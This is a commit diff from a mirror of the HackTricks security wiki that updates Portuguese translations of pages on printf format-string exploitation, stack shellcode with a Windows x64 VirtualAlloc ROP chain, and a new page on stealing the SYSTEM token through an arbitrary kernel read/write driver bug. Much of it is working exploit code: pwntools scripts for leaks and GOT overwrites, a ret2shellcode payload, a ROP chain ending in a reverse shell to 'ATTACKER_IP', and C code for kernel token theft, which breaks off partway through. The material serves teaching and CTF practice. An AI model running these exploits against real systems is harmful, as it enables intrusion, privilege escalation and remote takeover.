maride/hacktricks
1
0
Fork 0
mirror of https://github.com/HackTricks-wiki/hacktricks.git synced 2025-10-10 18:36:50 +00:00
Code Issues Packages Projects Releases Wiki Activity

Translated ['src/windows-hardening/windows-local-privilege-escalation/RE

Browse Source
This commit is contained in:
Translator 2025-08-28 16:49:25 +00:00
parent 52239994df
commit e2a24909ff
5 changed files with 647 additions and 390 deletions
Show Stats Download Patch File Download Diff File Expand all files Collapse all files

1
src/SUMMARY.md
View File

@ -234,6 +234,7 @@
- [Authentication Credentials Uac And Efs](windows-hardening/authentication-credentials-uac-and-efs.md)
- [Checklist - Local Windows Privilege Escalation](windows-hardening/checklist-windows-privilege-escalation.md)
- [Windows Local Privilege Escalation](windows-hardening/windows-local-privilege-escalation/README.md)
- [Arbitrary Kernel Rw Token Theft](windows-hardening/windows-local-privilege-escalation/arbitrary-kernel-rw-token-theft.md)
- [Dll Hijacking](windows-hardening/windows-local-privilege-escalation/dll-hijacking.md)
- [Abusing Tokens](windows-hardening/windows-local-privilege-escalation/privilege-escalation-abusing-tokens.md)
- [Access Tokens](windows-hardening/windows-local-privilege-escalation/access-tokens.md)

112
src/binary-exploitation/format-strings/README.md
View File

@ -3,15 +3,15 @@
{{#include ../../banners/hacktricks-training.md}}
## Basic Information
## Informações Básicas
Em C **`printf`** é uma função que pode ser usada para **imprimir** alguma string. O **primeiro parâmetro** que esta função espera é o **texto bruto com os formatadores**. Os **parâmetros seguintes** esperados são os **valores** para **substituir** os **formatadores** do texto bruto.
Em C **`printf`** é uma função que pode ser usada para **imprimir** uma string. O **primeiro parâmetro** que esta função espera é o **texto bruto com os especificadores de formato**. Os **parâmetros seguintes** esperados são os **valores** para **substituir** os **especificadores de formato** do texto bruto.
Outras funções vulneráveis são **`sprintf()`** e **`fprintf()`**.
A vulnerabilidade aparece quando um **texto de atacante é usado como o primeiro argumento** para esta função. O atacante será capaz de criar uma **entrada especial abusando** das capacidades da **string de formato printf** para ler e **escrever qualquer dado em qualquer endereço (legível/escrevível)**. Sendo capaz assim de **executar código arbitrário**.
A vulnerabilidade aparece quando um **texto controlado pelo atacante é usado como o primeiro argumento** desta função. O atacante poderá criar uma **entrada especial explorando** as capacidades da **printf format string** para ler e **escrever quaisquer dados em qualquer endereço (legível/gravável)**. Dessa forma, é possível **executar código arbitrário**.
#### Formatters:
#### Especificadores de formato:
```bash
%08x —> 8 hex bytes
%d —> Entire
@ -30,12 +30,12 @@ char buffer[30];
gets(buffer); // Dangerous: takes user input without restrictions.
printf(buffer); // If buffer contains "%x", it reads from the stack.
```
- Uso Normal:
- Uso normal:
```c
int value = 1205;
printf("%x %x %x", value, value, value); // Outputs: 4b5 4b5 4b5
```
- Com Argumentos Faltando:
- Com argumentos ausentes:
```c
printf("%x %x %x", value); // Unexpected output: reads random values from the stack.
```
@ -54,7 +54,7 @@ return 0;
```
### **Acessando Ponteiros**
O formato **`%<n>$x`**, onde `n` é um número, permite indicar ao printf para selecionar o n-ésimo parâmetro (da pilha). Então, se você quiser ler o 4º parâmetro da pilha usando printf, você poderia fazer:
O formato **`%<n>$x`**, onde `n` é um número, permite indicar ao printf que selecione o n-ésimo parâmetro (da pilha). Então, se você quiser ler o 4º parâmetro da pilha usando printf, você poderia fazer:
```c
printf("%x %x %x %x")
```
@ -64,16 +64,16 @@ Ou você poderia fazer:
```c
printf("%4$x")
```
e leia diretamente o quarto.
e ler diretamente o quarto.
Observe que o atacante controla o parâmetro `printf`, **o que basicamente significa que** sua entrada estará na pilha quando `printf` for chamado, o que significa que ele pode escrever endereços de memória específicos na pilha.
Observe que o atacante controla o `printf` **parâmetro, o que basicamente significa que** sua entrada vai estar na stack quando `printf` for chamado, o que significa que ele poderia escrever endereços de memória específicos na stack.
> [!CAUTION]
> Um atacante controlando essa entrada, será capaz de **adicionar endereços arbitrários na pilha e fazer com que `printf` os acesse**. Na próxima seção, será explicado como usar esse comportamento.
> Um atacante controlando essa entrada será capaz de **adicionar endereços arbitrários na stack e fazer com que `printf` os acesse**. Na próxima seção será explicado como usar esse comportamento.
## **Leitura Arbitrária**
## **Arbitrary Read**
É possível usar o formatador **`%n$s`** para fazer com que **`printf`** obtenha o **endereço** situado na **n posição**, seguindo-o e **imprimí-lo como se fosse uma string** (imprimir até que um 0x00 seja encontrado). Então, se o endereço base do binário for **`0x8048000`**, e sabemos que a entrada do usuário começa na 4ª posição na pilha, é possível imprimir o início do binário com:
É possível usar o formatador **`%n$s`** para fazer com que **`printf`** obtenha o **endereço** situado na **posição n**, seguir esse endereço e **imprimi-lo como se fosse uma string** (imprime até encontrar 0x00). Então, se o endereço base do binário for **`0x8048000`**, e soubermos que a entrada do usuário começa na 4ª posição na stack, é possível imprimir o início do binário com:
```python
from pwn import *
@ -87,15 +87,15 @@ p.sendline(payload)
log.info(p.clean()) # b'\x7fELF\x01\x01\x01||||'
```
> [!CAUTION]
> Note que você não pode colocar o endereço 0x8048000 no início da entrada porque a string será cortada em 0x00 no final desse endereço.
> Observe que você não pode colocar o endereço 0x8048000 no início da entrada porque a string será cat em 0x00 no final desse endereço.
### Encontrar offset
Para encontrar o offset da sua entrada, você pode enviar 4 ou 8 bytes (`0x41414141`) seguidos de **`%1$x`** e **aumentar** o valor até recuperar os `A's`.
Para encontrar o offset para sua entrada você pode enviar 4 ou 8 bytes (`0x41414141`) seguidos por **`%1$x`** e **aumentar** o valor até recuperar os `A's`.
<details>
<summary>Força Bruta printf offset</summary>
<summary>Brute Force printf offset</summary>
```python
# Code from https://www.ctfrecipes.com/pwn/stack-exploitation/format-string/data-leak
@ -130,23 +130,23 @@ p.close()
Leituras arbitrárias podem ser úteis para:
- **Despejar** o **binário** da memória
- **Acessar partes específicas da memória onde informações sensíveis** **são** armazenadas (como canários, chaves de criptografia ou senhas personalizadas, como neste [**desafio CTF**](https://www.ctfrecipes.com/pwn/stack-exploitation/format-string/data-leak#read-arbitrary-value))
- **Dump** do **binary** da memória
- **Acessar partes específicas da memória onde informações sensíveis são armazenadas** (como canaries, encryption keys ou custom passwords como neste [**CTF challenge**](https://www.ctfrecipes.com/pwn/stack-exploitation/format-string/data-leak#read-arbitrary-value))
## **Escrita Arbitrária**
## **Arbitrary Write**
O formatador **`%<num>$n`** **escreve** o **número de bytes escritos** no **endereço indicado** no parâmetro \<num> na pilha. Se um atacante puder escrever quantos caracteres quiser com printf, ele será capaz de fazer **`%<num>$n`** escrever um número arbitrário em um endereço arbitrário.
O formatador **`%<num>$n`** **escreve** o **número de bytes escritos** no **endereço indicado** no parâmetro <num> na stack. Se um atacante puder escrever quantos caracteres quiser com printf, ele poderá fazer com que **`%<num>$n`** escreva um número arbitrário em um endereço arbitrário.
Felizmente, para escrever o número 9999, não é necessário adicionar 9999 "A"s à entrada; para isso, é possível usar o formatador **`%.<num-write>%<num>$n`** para escrever o número **`<num-write>`** no **endereço apontado pela posição `num`**.
Felizmente, para escrever o número 9999, não é necessário adicionar 9999 "A"s na entrada; para isso é possível usar o formatador **`%.<num-write>%<num>$n`** para escrever o número **`<num-write>`** no **endereço apontado pela posição `num`**.
```bash
AAAA%.6000d%4\$n —> Write 6004 in the address indicated by the 4º param
AAAA.%500\$08x —> Param at offset 500
```
No entanto, note que geralmente, para escrever um endereço como `0x08049724` (que é um número ENORME para escrever de uma vez), **usa-se `$hn`** em vez de `$n`. Isso permite **escrever apenas 2 Bytes**. Portanto, essa operação é feita duas vezes, uma para os 2B mais altos do endereço e outra vez para os mais baixos.
No entanto, note que normalmente, para escrever um endereço como `0x08049724` (que é um número ENORME para escrever de uma só vez), **usa-se `$hn`** em vez de `$n`. Isso permite **escrever apenas 2 Bytes**. Portanto essa operação é feita duas vezes, uma para os 2B mais altos do endereço e outra para os 2B mais baixos.
Portanto, essa vulnerabilidade permite **escrever qualquer coisa em qualquer endereço (escrita arbitrária).**
Portanto, essa vulnerabilidade permite **escrever qualquer coisa em qualquer endereço (arbitrary write).**
Neste exemplo, o objetivo será **sobrescrever** o **endereço** de uma **função** na tabela **GOT** que será chamada mais tarde. Embora isso possa abusar de outras técnicas de escrita arbitrária para exec:
Neste exemplo, o objetivo será **sobrescrever** o **endereço** de uma **função** na tabela **GOT** que será chamada depois. Embora isso possa explorar outras técnicas de arbitrary write para execução:
{{#ref}}
@ -154,12 +154,12 @@ Neste exemplo, o objetivo será **sobrescrever** o **endereço** de uma **funç
{{#endref}}
Vamos **sobrescrever** uma **função** que **recebe** seus **argumentos** do **usuário** e **apontá-la** para a **função** **`system`**.\
Como mencionado, para escrever o endereço, geralmente são necessários 2 passos: Você **primeiro escreve 2Bytes** do endereço e depois os outros 2. Para isso, usa-se **`$hn`**.
Como mencionado, para escrever o endereço normalmente são necessários 2 passos: você **escreve primeiro 2 Bytes** do endereço e depois os outros 2. Para isso é usado **`$hn`**.
- **HOB** é chamado para os 2 bytes mais altos do endereço
- **LOB** é chamado para os 2 bytes mais baixos do endereço
- **HOB** refere-se aos 2 bytes mais altos do endereço
- **LOB** refere-se aos 2 bytes mais baixos do endereço
Então, por causa de como a string de formato funciona, você precisa **escrever primeiro o menor** de \[HOB, LOB] e depois o outro.
Então, por causa de como o format string funciona, você precisa **escrever primeiro o menor** de \[HOB, LOB] e depois o outro.
Se HOB < LOB\
`[address+2][address]%.[HOB-8]x%[offset]\$hn%.[LOB-HOB]x%[offset+1]`
@ -171,16 +171,16 @@ HOB LOB HOB_shellcode-8 NºParam_dir_HOB LOB_shell-HOB_shell NºParam_dir_LOB
```bash
python -c 'print "\x26\x97\x04\x08"+"\x24\x97\x04\x08"+ "%.49143x" + "%4$hn" + "%.15408x" + "%5$hn"'
```
### Pwntools Template
### Template do Pwntools
Você pode encontrar um **template** para preparar um exploit para esse tipo de vulnerabilidade em:
Você pode encontrar um **modelo** para preparar um exploit para este tipo de vulnerabilidade em:
{{#ref}}
format-strings-template.md
{{#endref}}
Ou este exemplo básico de [**aqui**](https://ir0nstone.gitbook.io/notes/types/stack/got-overwrite/exploiting-a-got-overwrite):
Ou este exemplo básico de [**here**](https://ir0nstone.gitbook.io/notes/types/stack/got-overwrite/exploiting-a-got-overwrite):
```python
from pwn import *
@ -199,9 +199,45 @@ p.sendline('/bin/sh')
p.interactive()
```
## Strings de Formato para BOF
## Format Strings to BOF
É possível abusar das ações de escrita de uma vulnerabilidade de string de formato para **escrever em endereços da pilha** e explorar um tipo de vulnerabilidade de **buffer overflow**.
É possível abusar das ações de escrita de uma format string vulnerability para **escrever em endereços do stack** e explorar um tipo de vulnerabilidade **buffer overflow**.
## Windows x64: Format-string leak to bypass ASLR (no varargs)
On Windows x64 the first four integer/pointer parameters are passed in registers: RCX, RDX, R8, R9. Em muitos buggy call-sites a string controlada pelo atacante é usada como o argumento de formato, mas nenhum argumento variádico é fornecido, por exemplo:
```c
// keyData is fully controlled by the client
// _snprintf(dst, len, fmt, ...)
_snprintf(keyStringBuffer, 0xff2, (char*)keyData);
```
Porque nenhum varargs é passado, qualquer conversão como "%p", "%x", "%s" fará com que o CRT leia o próximo argumento variádico do registrador apropriado. Com a Microsoft x64 calling convention a primeira leitura para "%p" vem de R9. Qualquer valor transitório que esteja em R9 no call-site será impresso. Na prática isso frequentemente leaked um ponteiro estável in-module (por exemplo, um ponteiro para um objeto local/global previamente colocado em R9 pelo código ao redor ou um callee-saved value), o que pode ser usado para recuperar o module base e derrotar ASLR.
Practical workflow:
- Injete um formato inofensivo como "%p " logo no início da string controlada pelo atacante para que a primeira conversão execute antes de qualquer filtragem.
- Capture o leaked pointer, identifique o offset estático desse objeto dentro do módulo (by reversing uma vez com símbolos ou uma cópia local), e recupere o image base como `leak - known_offset`.
- Reuse essa base para calcular endereços absolutos de ROP gadgets e IAT entries remotamente.
Example (abbreviated python):
```python
from pwn import remote
# Send an input that the vulnerable code will pass as the "format"
fmt = b"%p " + b"-AAAAA-BBB-CCCC-0252-" # leading %p leaks R9
io = remote(HOST, 4141)
# ... drive protocol to reach the vulnerable snprintf ...
leaked = int(io.recvline().split()[2], 16) # e.g. 0x7ff6693d0660
base = leaked - 0x20660 # module base = leak - offset
print(hex(leaked), hex(base))
```
Notas:
- O offset exato a subtrair é encontrado uma vez durante o reversing local e então reutilizado (mesmo binário/versão).
- Se "%p" não imprimir um pointer válido na primeira tentativa, tente outros specifiers ("%llx", "%s") ou múltiplas conversões ("%p %p %p") para amostrar outros registers/stack de argumentos.
- Este padrão é específico da calling convention Windows x64 e das implementações printf-family que buscam varargs inexistentes nos registers quando o format string os solicita.
Esta técnica é extremamente útil para bootstrap ROP em serviços Windows compilados com ASLR e sem primitivas óbvias de divulgação de memória.
## Outros Exemplos & Referências
@ -209,10 +245,16 @@ p.interactive()
- [https://www.youtube.com/watch?v=t1LH9D5cuK4](https://www.youtube.com/watch?v=t1LH9D5cuK4)
- [https://www.ctfrecipes.com/pwn/stack-exploitation/format-string/data-leak](https://www.ctfrecipes.com/pwn/stack-exploitation/format-string/data-leak)
- [https://guyinatuxedo.github.io/10-fmt_strings/pico18_echo/index.html](https://guyinatuxedo.github.io/10-fmt_strings/pico18_echo/index.html)
- 32 bits, sem relro, sem canário, nx, sem pie, uso básico de strings de formato para vazar a flag da pilha (sem necessidade de alterar o fluxo de execução)
- 32 bit, no relro, no canary, nx, no pie, uso básico de format strings para leak da flag a partir da stack (sem necessidade de alterar o fluxo de execução)
- [https://guyinatuxedo.github.io/10-fmt_strings/backdoor17_bbpwn/index.html](https://guyinatuxedo.github.io/10-fmt_strings/backdoor17_bbpwn/index.html)
- 32 bits, relro, sem canário, nx, sem pie, string de formato para sobrescrever o endereço `fflush` com a função win (ret2win)
- 32 bit, relro, no canary, nx, no pie, format string para sobrescrever o endereço `fflush` com a função win (ret2win)
- [https://guyinatuxedo.github.io/10-fmt_strings/tw16_greeting/index.html](https://guyinatuxedo.github.io/10-fmt_strings/tw16_greeting/index.html)
- 32 bits, relro, sem canário, nx, sem pie, string de formato para escrever um endereço dentro de main em `.fini_array` (para que o fluxo retorne mais uma vez) e escrever o endereço para `system` na tabela GOT apontando para `strlen`. Quando o fluxo voltar para main, `strlen` é executado com a entrada do usuário e apontando para `system`, ele executará os comandos passados.
- 32 bit, relro, no canary, nx, no pie, format string para escrever um endereço dentro de main em `.fini_array` (assim o fluxo volta mais 1 vez) e escrever o endereço de `system` na tabela GOT apontando para `strlen`. Quando o fluxo retorna para main, `strlen` é executado com input do usuário e, estando apontando para `system`, executará os comandos passados.
## Referências
- [HTB Reaper: Format-string leak + stack BOF → VirtualAlloc ROP (RCE)](https://0xdf.gitlab.io/2025/08/26/htb-reaper.html)
- [x64 calling convention (MSVC)](https://learn.microsoft.com/en-us/cpp/build/x64-calling-convention)
{{#include ../../banners/hacktricks-training.md}}

112
src/binary-exploitation/stack-overflow/stack-shellcode/README.md
View File

@ -2,11 +2,11 @@
{{#include ../../../banners/hacktricks-training.md}}
## Basic Information
## Informações Básicas
**Stack shellcode** é uma técnica usada em **binary exploitation** onde um atacante escreve shellcode na pilha de um programa vulnerável e então modifica o **Instruction Pointer (IP)** ou **Extended Instruction Pointer (EIP)** para apontar para a localização desse shellcode, fazendo com que ele seja executado. Este é um método clássico usado para obter acesso não autorizado ou executar comandos arbitrários em um sistema alvo. Aqui está uma análise do processo, incluindo um exemplo simples em C e como você poderia escrever um exploit correspondente usando Python com **pwntools**.
**Stack shellcode** é uma técnica usada em **binary exploitation** em que um atacante grava shellcode na stack de um programa vulnerável e então modifica o **Instruction Pointer (IP)** ou o **Extended Instruction Pointer (EIP)** para apontar para a localização desse shellcode, causando sua execução. Este é um método clássico usado para obter acesso não autorizado ou executar comandos arbitrários em um sistema alvo. Abaixo está uma descrição do processo, incluindo um exemplo simples em C e como você poderia escrever um exploit correspondente usando Python com **pwntools**.
### C Example: A Vulnerable Program
### Exemplo em C: Um Programa Vulnerável
Vamos começar com um exemplo simples de um programa C vulnerável:
```c
@ -24,22 +24,22 @@ printf("Returned safely\n");
return 0;
}
```
Este programa é vulnerável a um estouro de buffer devido ao uso da função `gets()`.
Este programa é vulnerável a um buffer overflow devido ao uso da função `gets()`.
### Compilação
Para compilar este programa desativando várias proteções (para simular um ambiente vulnerável), você pode usar o seguinte comando:
Para compilar este programa enquanto desabilita várias proteções (para simular um ambiente vulnerável), você pode usar o seguinte comando:
```sh
gcc -m32 -fno-stack-protector -z execstack -no-pie -o vulnerable vulnerable.c
```
- `-fno-stack-protector`: Desabilita a proteção da pilha.
- `-fno-stack-protector`: Desativa a proteção da pilha.
- `-z execstack`: Torna a pilha executável, o que é necessário para executar shellcode armazenado na pilha.
- `-no-pie`: Desabilita o Executável Independente de Posição, facilitando a previsão do endereço de memória onde nosso shellcode estará localizado.
- `-m32`: Compila o programa como um executável de 32 bits, frequentemente usado por simplicidade no desenvolvimento de exploits.
- `-no-pie`: Desativa Position Independent Executable (PIE), facilitando prever o endereço de memória onde nosso shellcode ficará localizado.
- `-m32`: Compila o programa como um executável de 32 bits, frequentemente usado pela simplicidade no desenvolvimento de exploits.
### Python Exploit usando Pwntools
### Exploit em Python usando Pwntools
Aqui está como você poderia escrever um exploit em Python usando **pwntools** para realizar um ataque **ret2shellcode**:
A seguir, um exemplo de como você poderia escrever um exploit em Python usando **pwntools** para realizar um ataque **ret2shellcode**:
```python
from pwn import *
@ -66,26 +66,98 @@ payload += p32(0xffffcfb4) # Supossing 0xffffcfb4 will be inside NOP slide
p.sendline(payload)
p.interactive()
```
Este script constrói um payload consistindo de um **NOP slide**, o **shellcode**, e então sobrescreve o **EIP** com o endereço apontando para o NOP slide, garantindo que o shellcode seja executado.
Este script constrói um payload composto por um **NOP slide**, o **shellcode**, e então sobrescreve o **EIP** com o endereço apontando para o NOP slide, garantindo que o shellcode seja executado.
O **NOP slide** (`asm('nop')`) é usado para aumentar a chance de que a execução "deslize" para o nosso shellcode, independentemente do endereço exato. Ajuste o argumento `p32()` para o endereço inicial do seu buffer mais um offset para aterrissar no NOP slide.
O **NOP slide** (`asm('nop')`) é usado para aumentar a chance de que a execução "deslize" para o nosso shellcode independentemente do endereço exato. Ajuste o argumento de `p32()` para o endereço inicial do seu buffer mais um offset para cair no NOP slide.
## Proteções
## Windows x64: Bypass NX with VirtualAlloc ROP (ret2stack shellcode)
- [**ASLR**](../../common-binary-protections-and-bypasses/aslr/index.html) **deve ser desativado** para que o endereço seja confiável em execuções, ou o endereço onde a função será armazenada não será sempre o mesmo e você precisaria de algum leak para descobrir onde a função win está carregada.
- [**Stack Canaries**](../../common-binary-protections-and-bypasses/stack-canaries/index.html) também devem ser desativados ou o endereço de retorno EIP comprometido nunca será seguido.
- A proteção **stack** [**NX**](../../common-binary-protections-and-bypasses/no-exec-nx.md) impediria a execução do shellcode dentro da pilha porque essa região não seria executável.
No Windows moderno a stack não é executável (DEP/NX). Uma forma comum de ainda executar shellcode residente na stack após um BOF de stack é construir uma cadeia ROP de 64-bit que chama VirtualAlloc (ou VirtualProtect) a partir da Import Address Table (IAT) do módulo para tornar uma região da stack executável e então retornar para o shellcode anexado depois da cadeia.
Key points (Win64 calling convention):
- VirtualAlloc(lpAddress, dwSize, flAllocationType, flProtect)
- RCX = lpAddress → escolha um endereço na stack atual (por exemplo, RSP) para que a região RWX recém-alocada se sobreponha ao seu payload
- RDX = dwSize → grande o suficiente para sua chain + shellcode (por exemplo, 0x1000)
- R8 = flAllocationType = MEM_COMMIT (0x1000)
- R9 = flProtect = PAGE_EXECUTE_READWRITE (0x40)
- Return directly into the shellcode placed right after the chain.
Minimal strategy:
1) Leak a base de um módulo (por exemplo, via format-string, object pointer, etc.) para calcular endereços absolutos de gadgets e da IAT sob ASLR.
2) Encontre gadgets para carregar RCX/RDX/R8/R9 (pop ou sequências baseadas em mov/xor) e um call/jmp [VirtualAlloc@IAT]. Se não houver pop r8/r9 direto, use gadgets aritméticos para sintetizar constantes (por exemplo, defina r8=0 e some r9=0x40 repetidamente quarenta vezes para alcançar 0x1000).
3) Coloque o stage-2 shellcode imediatamente após a chain.
Example layout (conceptual):
```
# ... padding up to saved RIP ...
# R9 = 0x40 (PAGE_EXECUTE_READWRITE)
POP_R9_RET; 0x40
# R8 = 0x1000 (MEM_COMMIT) — if no POP R8, derive via arithmetic
POP_R8_RET; 0x1000
# RCX = &stack (lpAddress)
LEA_RCX_RSP_RET # or sequence: load RSP into a GPR then mov rcx, reg
# RDX = size (dwSize)
POP_RDX_RET; 0x1000
# Call VirtualAlloc via the IAT
[IAT_VirtualAlloc]
# New RWX memory at RCX — execution continues at the next stack qword
JMP_SHELLCODE_OR_RET
# ---- stage-2 shellcode (x64) ----
```
Com um conjunto de gadgets restrito, você pode criar valores de registradores indiretamente, por exemplo:
- mov r9, rbx; mov r8, 0; add rsp, 8; ret → define r9 a partir de rbx, zera r8 e compensa a pilha com um qword de lixo.
- xor rbx, rsp; ret → inicializa rbx com o ponteiro de pilha atual.
- push rbx; pop rax; mov rcx, rax; ret → move o valor derivado de RSP para RCX.
Esboço Pwntools (dada uma base conhecida e gadgets):
```python
from pwn import *
base = 0x7ff6693b0000
IAT_VirtualAlloc = base + 0x400000 # example: resolve via reversing
rop = b''
# r9 = 0x40
rop += p64(base+POP_RBX_RET) + p64(0x40)
rop += p64(base+MOV_R9_RBX_ZERO_R8_ADD_RSP_8_RET) + b'JUNKJUNK'
# rcx = rsp
rop += p64(base+POP_RBX_RET) + p64(0)
rop += p64(base+XOR_RBX_RSP_RET)
rop += p64(base+PUSH_RBX_POP_RAX_RET)
rop += p64(base+MOV_RCX_RAX_RET)
# r8 = 0x1000 via arithmetic if no pop r8
for _ in range(0x1000//0x40):
rop += p64(base+ADD_R8_R9_ADD_RAX_R8_RET)
# rdx = 0x1000 (use any available gadget)
rop += p64(base+POP_RDX_RET) + p64(0x1000)
# call VirtualAlloc and land in shellcode
rop += p64(IAT_VirtualAlloc)
rop += asm(shellcraft.amd64.windows.reverse_tcp("ATTACKER_IP", ATTACKER_PORT))
```
Dicas:
- VirtualProtect funciona de forma semelhante se for preferível tornar um buffer existente RX; a ordem dos parâmetros é diferente.
- Se o espaço na stack estiver curto, aloque RWX em outro lugar (RCX=NULL) e jmp para essa nova região em vez de reutilizar a stack.
- Sempre contabilize gadgets que ajustam RSP (e.g., add rsp, 8; ret) inserindo qwords inúteis.
- [**ASLR**](../../common-binary-protections-and-bypasses/aslr/index.html) **deve ser desativado** para que o endereço seja confiável entre execuções; caso contrário o endereço onde a função será armazenada não será sempre o mesmo e você precisará de algum leak para descobrir onde a função win foi carregada.
- [**Stack Canaries**](../../common-binary-protections-and-bypasses/stack-canaries/index.html) também devem ser desativados, caso contrário o endereço de retorno EIP comprometido nunca será seguido.
- [**NX**](../../common-binary-protections-and-bypasses/no-exec-nx.md) a proteção **stack** impediria a execução do shellcode dentro da stack porque essa região não será executável.
## Outros Exemplos & Referências
- [https://ir0nstone.gitbook.io/notes/types/stack/shellcode](https://ir0nstone.gitbook.io/notes/types/stack/shellcode)
- [https://guyinatuxedo.github.io/06-bof_shellcode/csaw17_pilot/index.html](https://guyinatuxedo.github.io/06-bof_shellcode/csaw17_pilot/index.html)
- 64bit, ASLR com leak de endereço da pilha, escreva shellcode e salte para ele
- 64bit, ASLR com leak de endereço da stack, escrever shellcode e pular para ele
- [https://guyinatuxedo.github.io/06-bof_shellcode/tamu19_pwn3/index.html](https://guyinatuxedo.github.io/06-bof_shellcode/tamu19_pwn3/index.html)
- 32 bit, ASLR com leak da pilha, escreva shellcode e salte para ele
- 32 bit, ASLR com leak da stack, escrever shellcode e pular para ele
- [https://guyinatuxedo.github.io/06-bof_shellcode/tu18_shellaeasy/index.html](https://guyinatuxedo.github.io/06-bof_shellcode/tu18_shellaeasy/index.html)
- 32 bit, ASLR com leak da pilha, comparação para evitar chamada para exit(), sobrescreva variável com um valor e escreva shellcode e salte para ele
- 32 bit, ASLR com leak da stack, comparação para impedir a chamada a exit(), sobrescrever variável com um valor e escrever shellcode e pular para ele
- [https://8ksec.io/arm64-reversing-and-exploitation-part-4-using-mprotect-to-bypass-nx-protection-8ksec-blogs/](https://8ksec.io/arm64-reversing-and-exploitation-part-4-using-mprotect-to-bypass-nx-protection-8ksec-blogs/)
- arm64, sem ASLR, gadget ROP para tornar a pilha executável e saltar para o shellcode na pilha
- arm64, sem ASLR, ROP gadget para tornar a stack executável e pular para o shellcode na stack
## Referências
- [HTB Reaper: Format-string leak + stack BOF → VirtualAlloc ROP (RCE)](https://0xdf.gitlab.io/2025/08/26/htb-reaper.html)
- [VirtualAlloc documentation](https://learn.microsoft.com/en-us/windows/win32/api/memoryapi/nf-memoryapi-virtualalloc)
{{#include ../../../banners/hacktricks-training.md}}

690
src/windows-hardening/windows-local-privilege-escalation/README.md
View File

File diff suppressed because it is too large Load Diff

122
src/windows-hardening/windows-local-privilege-escalation/arbitrary-kernel-rw-token-theft.md Normal file
View File

@ -0,0 +1,122 @@
# Windows kernel EoP: Token stealing with arbitrary kernel R/W
{{#include ../../banners/hacktricks-training.md}}
## Visão geral
Se um driver vulnerável expõe um IOCTL que dá a um atacante primitivas arbitrárias de leitura e/ou escrita no kernel, elevar para NT AUTHORITY\SYSTEM pode frequentemente ser alcançado roubando um token de acesso do SYSTEM. A técnica copia o ponteiro Token do EPROCESS de um processo SYSTEM para o EPROCESS do processo atual.
Por que funciona:
- Cada processo tem uma estrutura EPROCESS que contém (entre outros campos) um Token (na verdade um EX_FAST_REF para um objeto token).
- O processo SYSTEM (PID 4) possui um token com todos os privilégios habilitados.
- Substituir o EPROCESS.Token do processo atual pelo ponteiro de token do SYSTEM faz com que o processo atual passe a executar como SYSTEM imediatamente.
> Os offsets em EPROCESS variam entre versões do Windows. Determine-os dinamicamente (símbolos) ou use constantes específicas da versão. Lembre-se também que EPROCESS.Token é um EX_FAST_REF (os 3 bits menos significativos são flags de contagem de referência).
## Passos em alto nível
1) Localize a base de ntoskrnl.exe e resolva o endereço de PsInitialSystemProcess.
- A partir do modo usuário, use NtQuerySystemInformation(SystemModuleInformation) ou EnumDeviceDrivers para obter as bases dos drivers carregados.
- Adicione o offset de PsInitialSystemProcess (a partir de símbolos/reversão) à base do kernel para obter seu endereço.
2) Leia o ponteiro em PsInitialSystemProcess → este é um ponteiro do kernel para o EPROCESS do SYSTEM.
3) A partir do EPROCESS do SYSTEM, leia os offsets de UniqueProcessId e ActiveProcessLinks para percorrer a lista duplamente ligada das estruturas EPROCESS (ActiveProcessLinks.Flink/Blink) até encontrar o EPROCESS cujo UniqueProcessId é igual a GetCurrentProcessId(). Mantenha ambos:
- EPROCESS_SYSTEM (para SYSTEM)
- EPROCESS_SELF (para o processo atual)
4) Leia o valor do token do SYSTEM: Token_SYS = *(EPROCESS_SYSTEM + TokenOffset).
- Mascarar os 3 bits menos significativos: Token_SYS_masked = Token_SYS & ~0xF (comumente ~0xF ou ~0x7 dependendo do build; em x64 os 3 bits menos significativos são usados — máscara 0xFFFFFFFFFFFFFFF8).
5) Option A (common): Preserve os 3 bits menos significativos do seu token atual e combine-os com o ponteiro do SYSTEM para manter o contador de referência embutido consistente.
- Token_ME = *(EPROCESS_SELF + TokenOffset)
- Token_NEW = (Token_SYS_masked | (Token_ME & 0x7))
6) Escreva Token_NEW de volta em (EPROCESS_SELF + TokenOffset) usando sua primitiva de escrita no kernel.
7) Seu processo atual agora é SYSTEM. Opcionalmente, inicie um novo cmd.exe ou powershell.exe para confirmar.
## Pseudocódigo
Abaixo está um esqueleto que usa apenas dois IOCTLs de um driver vulnerável, um para leitura de 8 bytes no kernel e outro para escrita de 8 bytes no kernel. Substitua pela interface do seu driver.
```c
#include <Windows.h>
#include <Psapi.h>
#include <stdint.h>
// Device + IOCTLs are driver-specific
#define DEV_PATH "\\\\.\\VulnDrv"
#define IOCTL_KREAD CTL_CODE(FILE_DEVICE_UNKNOWN, 0x801, METHOD_BUFFERED, FILE_ANY_ACCESS)
#define IOCTL_KWRITE CTL_CODE(FILE_DEVICE_UNKNOWN, 0x802, METHOD_BUFFERED, FILE_ANY_ACCESS)
// Version-specific (examples only – resolve per build!)
static const uint32_t Off_EPROCESS_UniquePid = 0x448; // varies
static const uint32_t Off_EPROCESS_Token = 0x4b8; // varies
static const uint32_t Off_EPROCESS_ActiveLinks = 0x448 + 0x8; // often UniquePid+8, varies
BOOL kread_qword(HANDLE h, uint64_t kaddr, uint64_t *out) {
struct { uint64_t addr; } in; struct { uint64_t val; } outb; DWORD ret;
in.addr = kaddr; return DeviceIoControl(h, IOCTL_KREAD, &in, sizeof(in), &outb, sizeof(outb), &ret, NULL) && (*out = outb.val, TRUE);
}
BOOL kwrite_qword(HANDLE h, uint64_t kaddr, uint64_t val) {
struct { uint64_t addr, val; } in; DWORD ret;
in.addr = kaddr; in.val = val; return DeviceIoControl(h, IOCTL_KWRITE, &in, sizeof(in), NULL, 0, &ret, NULL);
}
// Get ntoskrnl base (one option)
uint64_t get_nt_base(void) {
LPVOID drivers[1024]; DWORD cbNeeded;
if (EnumDeviceDrivers(drivers, sizeof(drivers), &cbNeeded) && cbNeeded >= sizeof(LPVOID)) {
return (uint64_t)drivers[0]; // first is typically ntoskrnl
}
return 0;
}
int main(void) {
HANDLE h = CreateFileA(DEV_PATH, GENERIC_READ|GENERIC_WRITE, 0, NULL, OPEN_EXISTING, 0, NULL);
if (h == INVALID_HANDLE_VALUE) return 1;
// 1) Resolve PsInitialSystemProcess
uint64_t nt = get_nt_base();
uint64_t PsInitialSystemProcess = nt + /*offset of symbol*/ 0xDEADBEEF; // resolve per build
// 2) Read SYSTEM EPROCESS
uint64_t EPROC_SYS; kread_qword(h, PsInitialSystemProcess, &EPROC_SYS);
// 3) Walk ActiveProcessLinks to find current EPROCESS
DWORD myPid = GetCurrentProcessId();
